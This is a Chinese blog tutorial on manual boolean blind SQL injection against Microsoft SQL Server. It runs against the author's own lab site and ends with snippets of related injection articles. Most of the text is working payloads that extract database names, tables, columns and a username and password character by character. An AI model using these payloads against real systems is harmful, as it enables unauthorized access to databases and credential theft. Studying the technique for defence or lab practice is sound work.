代码编织梦想

判断是否存在注⼊

1
2
3
'
and 1=1 
and 1=2

猜测数据库名

先猜dbid是否存在:

1
http://192.168.159.135:8080/get.aspx?id=1 and (select count(*) from master.dbo.sysdatabases where dbid=5)=1

上面的这条语句的意思是查询 dbid=5 是否存在,最后那个=1就是是否存在的意思!存在说明返回正常!

因为我数据库新建了两个:test(dbid5)、saulgoodman(dbid6)

所以我们就能查询出他存在dbid6

1
http://192.168.159.135:8080/get.aspx?id=1 and (select count(*) from master.dbo.sysdatabases where dbid=6)=1

查询dbid7的话就会返回错误:因为它不存在

根据dbid猜库名,先猜出长度

1
http://192.168.159.135:8080/get.aspx?id=1 and (select count(*) from master.dbo.sysdatabases where dbid=5 and len(name)=4)=1

因为我们dbid5的数据库名是test,他的长度是4dbid=5 and len(name)=4 这条语句的意思是查询 dbid=5 的这个数据库名的长度是否=4,返回正常说明它的长度=4

1
http://192.168.159.135:8080/get.aspx?id=1 and (select count(*) from master.dbo.sysdatabases where dbid=6 and len(name)=11)=1

我们查询dbid6的数据库名是saulgoodman,他的长度是11dbid=6 and len(name)=11 这条语句的意思是查询 dbid=6 的这个数据库名的长度是否=11,返回正常说明它的长度=11!以此类推查询多个数据库名的长度!

根据dbid查询挨个查询数据库名

PS:substring(str,start,len) 截取字符串的作用,第一个参数为要截取的字符串,第二个参数为从哪里开始截取,第三个参数为截取的长度

ascii(char) 把字符转换为ascii

因为我们dbid5的数据库名是test,他的第一个字符tASCII码为116,我们就可以使用下面的语句来判断:

1
and ascii(substring((select top 1 name from master.dbo.sysdatabases where dbid=5),1,1)) = 116

依次查询:

1
2
3
4
5
6
第二个字符:e
and ascii(substring((select top 1 name from master.dbo.sysdatabases where dbid=5),2,1)) = 101
第三个字符:s
and ascii(substring((select top 1 name from master.dbo.sysdatabases where dbid=5),3,1)) = 115
第四个字符:t
and ascii(substring((select top 1 name from master.dbo.sysdatabases where dbid=5),4,1)) = 116

这样我们就猜解出来了数据库名为:test

如果想要猜解第二个数据库名的话那么就吧dbid更改为6,然后按照上面的操作重复就好了!

猜解表名

因为我们知道了数据库名是test,然后我们就可以使用下面的语句来查询第一个表名的长度是否等于5(表名是users):

1
and (select count(*) from test.dbo.sysobjects where name in (select top 1 name from test.dbo.sysobjects where xtype='u') and len(name)=5)=1

由上图可见,页面返回正常说明它的长度是5,那么我们就可以挨个猜解他的字符:users

1
2
3
4
5
6
7
8
9
10
猜解第一个字符:u
and (select count(*) from test.dbo.sysobjects where name in (select top 1 name from test.dbo.sysobjects where xtype='u') and ascii(substring(name,1,1))=117)=1
猜解第二个字符:s
and (select count(*) from test.dbo.sysobjects where name in (select top 1 name from test.dbo.sysobjects where xtype='u') and ascii(substring(name,2,1))=115)=1
猜解第三个字符:e
and (select count(*) from test.dbo.sysobjects where name in (select top 1 name from test.dbo.sysobjects where xtype='u') and ascii(substring(name,3,1))=101)=1
猜解第四个字符:r
and (select count(*) from test.dbo.sysobjects where name in (select top 1 name from test.dbo.sysobjects where xtype='u') and ascii(substring(name,4,1))=114)=1
猜解第五个字符:s
and (select count(*) from test.dbo.sysobjects where name in (select top 1 name from test.dbo.sysobjects where xtype='u') and ascii(substring(name,5,1))=115)=1

因为我们知道了数据库名是test,第表名是 users,然后我们就可以使用下面的语句来查询第表名的字符(表名是info):

1
2
3
4
5
6
7
8
猜解第一个字符:i
and (select count(*) from test.dbo.sysobjects where name in (select top 1 name from test.dbo.sysobjects where xtype='u' and name not in ('users')) and ascii(substring(name,1,1))=105)=1
猜解第二个字符:n
and (select count(*) from test.dbo.sysobjects where name in (select top 1 name from test.dbo.sysobjects where xtype='u' and name not in ('users')) and ascii(substring(name,2,1))=110)=1
猜解第三个字符:f
and (select count(*) from test.dbo.sysobjects where name in (select top 1 name from test.dbo.sysobjects where xtype='u' and name not in ('users')) and ascii(substring(name,3,1))=102)=1
猜解第二个字符:o
and (select count(*) from test.dbo.sysobjects where name in (select top 1 name from test.dbo.sysobjects where xtype='u' and name not in ('users')) and ascii(substring(name,4,1))=111)=1

猜解列名

因为我们知道了表名是 users,那么我们可以猜解 users 表名下的列名:(列名是 username

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
猜解列名第一个字符:u
and exists(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users') and unicode(substring(name,1,1))=117)
猜解列名第二个字符:s
and exists(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users') and unicode(substring(name,2,1))=115)
猜解列名第三个字符:e
and exists(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users') and unicode(substring(name,3,1))=101)
猜解列名第四个字符:r
and exists(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users') and unicode(substring(name,4,1))=114)
猜解列名第五个字符:n
and exists(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users') and unicode(substring(name,5,1))=110)
猜解列名第六个字符:a
and exists(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users') and unicode(substring(name,6,1))=97)
猜解列名第七个字符:m
and exists(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users') and unicode(substring(name,7,1))=109)
猜解列名第八个字符:e
and exists(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users') and unicode(substring(name,8,1))=101)

这样就猜解出来了第个列名,username

第二种方式:我们有 idusernamepasswordage 四个列

获取第一列:(列名是id

1
2
3
4
获取第一个字符:i
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users')),1,1)) =105
获取第二个字符:d
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users')),2,1)) =100

获取第二列:(列名是username

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
获取第一个字符:u
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id')),1,1)) = 117
获取第二个字符:s
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id')),2,1)) = 115
获取第三个字符:e
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id')),3,1)) = 101
获取第四个字符:r
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id')),4,1)) = 114
获取第五个字符:n
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id')),5,1)) = 110
获取第六个字符:a
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id')),6,1)) = 97
获取第七个字符:m
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id')),7,1)) = 109
获取第八个字符:e
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id')),8,1)) = 101

获取第三列:(列名是password

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
获取第一个字符:p
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id') and name not in ('username')),1,1)) =112
获取第二个字符:a
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id') and name not in ('username')),2,1)) =97
获取第三个字符:s
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id') and name not in ('username')),3,1)) =115
获取第四个字符:s
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id') and name not in ('username')),4,1)) =115
获取第五个字符:w
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id') and name not in ('username')),5,1)) =119
获取第六个字符:o
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id') and name not in ('username')),6,1)) =111
获取第七个字符:r
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id') and name not in ('username')),7,1)) =114
获取第八个字符:d
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id') and name not in ('username')),8,1)) =100

如果想获取第列的话继续在后面加一个判断语句:and name not in ('列名') 就可以了!

获取数据

1
and ascii(substring((select top 1 列名 from 表名),N,1)) >= 65

我们知道了表名是:users,列名是:usernamepasswrd,那么我们就开始爆数据了:(saul

1
2
3
4
5
6
7
8
判断username列第一个字符:s
and ascii(substring((select top 1 username from users),1,1)) = 115
判断username列第二个字符:a
and ascii(substring((select top 1 username from users),2,1)) = 97
判断username列第三个字符:u
and ascii(substring((select top 1 username from users),3,1)) = 117
判断username列第四个字符:l
and ascii(substring((select top 1 username from users),4,1)) =108

这样就获取到了第一个用户名为:saul

获取 saul 的密码:(密码是saul520

1
2
3
4
5
6
7
8
9
10
11
12
13
14
判断 password 列第一个字符:s
and ascii(substring((select top 1 password from users),1,1)) =115
判断 password 列第二个字符:a
and ascii(substring((select top 1 password from users),2,1)) =97
判断 password 列第三个字符:u
and ascii(substring((select top 1 password from users),3,1)) =117
判断 password 列第四个字符:l
and ascii(substring((select top 1 password from users),4,1)) =108
判断 password 列第五个字符:5
and ascii(substring((select top 1 password from users),5,1)) =53
判断 password 列第六个字符:2
and ascii(substring((select top 1 password from users),6,1)) =50
判断 password 列第七个字符:0
and ascii(substring((select top 1 password from users),7,1)) =48

自此天书Mssql手工注入之布尔盲注就到这里~

交流群:

 微信公众号:

 知识星球:

 

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_36304918/article/details/124806461

sql盲注攻击的简单介绍-爱代码爱编程

SQL盲注攻击的简单介绍 1 简介      1.1 普通SQL注入技术概述      目前没有对SQL注入技术的标准定义,微软中国技术中心从2个方面进行了描述[1]:      (1) 脚本注入式的攻击      (2) 恶意用户输入用来影响被执行的SQL脚本      根据Chris Anley的定义[2], 当一个攻击

Sql server注入分类之盲注(布尔-时间-OOB)-爱代码爱编程

本章目录: 布尔盲注第一步 判断注入第二步 猜解列数第三步 猜数据库名,表名:第四步 猜解字段第五步 判断字段长度第六步 猜解字段内容时间盲注利用条件注入语句OOB 注入利用条件原理检测利用/渗出 布尔盲注 总结: 布尔盲注就是靠逐个猜测与尝试弱口令的的方法,有报错的就是猜错了,没报错就对了。 第一步 判断注入 and 1=1 and

sqlserver数据库布尔盲注_7.sql注入基础1-爱代码爱编程

1.1、自己描述一下sql注入原理 SQL注入指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。 1.2、注入分为那几类 1.数字型注入 2.字符型注入 3.搜索型注入: select *

SQL注入——利用sqlmap工具对DVWA进行盲注-爱代码爱编程

因为手工注入略显麻烦,所以在此尝试用sqlmap工具注入。 查看了帮助命令 一.SQL Injection的Low等级 此为get型、id注入点为布尔型盲注,并扫出了版本号 共有9个数据库 查看数据库DVWA的表 共2个表 查看users表中的字段 共8个字段 查看用户名和密码 让整表输出 二.SQL Injection的medium等级 post型,需加

oracle动态sql缺失右括号,Web十大安全隐患之SQL注入-爱代码爱编程

注入往往是应用程序缺少对输入进行安全性检查所引起的,***者把一些包含指令的数据发送给解释器,解释器会把收到的数据转换成指令执行。常见的注入包括SQL注入,OS Shell,LDAP,Xpath,Hibernate等等,而其中SQL注入尤为常见。这种***所造成的后果往往很大,一般整个数据库的信息都能被读取或篡改,通过SQL注入,***者甚至能够获得更

mssql 盲注流程-爱代码爱编程

mssql 盲注 mssql 盲注1.mssql盲注和mysql盲注的不同点2.布尔盲注流程2.1判断数据库的数量2.2 判断数据库长度2.3 获取数据库名2.4 获取数据库中表的数量2.5 获取数据库中表名的长度2.6 获取表名2.7 获取表中列的数量2.8 获取指定列的长度信息2.9 获取列名3.时间盲注 mssql 盲注 1.mssql

WEB安全之:SQL Server 数据库 SQL 注入-爱代码爱编程

郑重声明: 本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。 SQL Server 数据库 1 SQL Server 数据库 SQL 注入基础知识1.1 SQL Server 三个权限级别:1.2 SQL

Blind SQL injection:盲注详解-爱代码爱编程

什么是盲注? 当应用程序易受SQL注入攻击,但其HTTP响应不包含相关SQL查询的结果或任何数据库错误的详细信息时,就会出现盲SQL注入。 对于盲目SQL注入漏洞,许多技术(如联合攻击)都是无效的,因为它们依赖于能够在应用程序的响应中看到注入查询的结果。但是我们仍然可以利用盲SQL注入来访问未经授权的数据,但必须使用更高级的技术。 通过触发条件响应来

Web入门之Sql注入(二)-爱代码爱编程

通过触发 SQL 错误来诱导条件响应 在前面的示例中,假设应用程序执行相同的 SQL 查询,但根据查询是否返回任何数据,行为没有任何不同。前面的技术将不起作用,因为注入不同的布尔条件对应用程序的响应没有影响。 在这种情况下,根据注入的条件,通常可以通过有条件地触发 SQL 错误来诱导应用程序返回条件响应。这涉及修改查询,以便在条件为真时会导致数据库错误

从0学习sql server注入-爱代码爱编程

一,基本语法: 1.信息收集: 用户: 当前用户名: select user 用户权限: 服务器级别: select IS_SRVROLEMEMBER('sysadmin') 数据库级别: select IS_MEMBER('db_owner') 2005的xp_cmdshell 你要知道他的权限一般是system 而20

SQL注入漏洞测试(布尔盲注)初级篇-爱代码爱编程

作为一个信安小白,最近在自学SQL注入,下图是该靶场环境(靶场是墨者学院的一个初级靶场) 进入这个sql靶场先观察网站的url发现并没有什么有用的信息,随后就观察网站的其他信息,发现网站除了登录界面下面还有一串滚动的消息“关于平台停机维护的通知”随后我便点了进去,终于找到了有价值的信息  仔细观察一下网站url发现了许多可用的信息,随后我就迫不

DNSlog平台各种利用姿势(盲注)-爱代码爱编程

环境 DNSlog平台:http://dnslog.cn Sqli-less5:存在布尔盲注漏洞。 皮卡丘靶场命令执行模块 真实网站反射型xss DNSlog简介 在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起DNS请求,这个时候就可以通过这种方式把想获得的数据外带出来。 DNS的全称是Domain Name System(网络名称

SQL注入-基于MSsql(sql server)的注入-爱代码爱编程

目录 一、如何判断该网站使用的是sql server 数据库 二、sql server 数据库包含三张主要系统表 三、sql server 主要函数 四、数据库的注入流程 五、sql server 的联合查询 六、sql server 的报错注入 七、sql server 的布尔型盲注。 一、如何判断该网站使用的是sql server 数据

SqlServer基本注入-爱代码爱编程

要了解Sql Server的基本注入,那么首先就要先去了解,什么是SqlServer,和MySQL有什么差别。(因为之前的注入学的都是MySQL注入,所以了解区别能更好的针对性思考注入方式) 什么是SqlServer SqlServer根据我在网络上查到的资料,又叫做MSSql,MS是微软Microsoft的简写,因此我们就很容易理解了,SqlServ

CTFHub (web-SQL-布尔盲注)-爱代码爱编程

一、关于sqlmap 一款自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。采用五种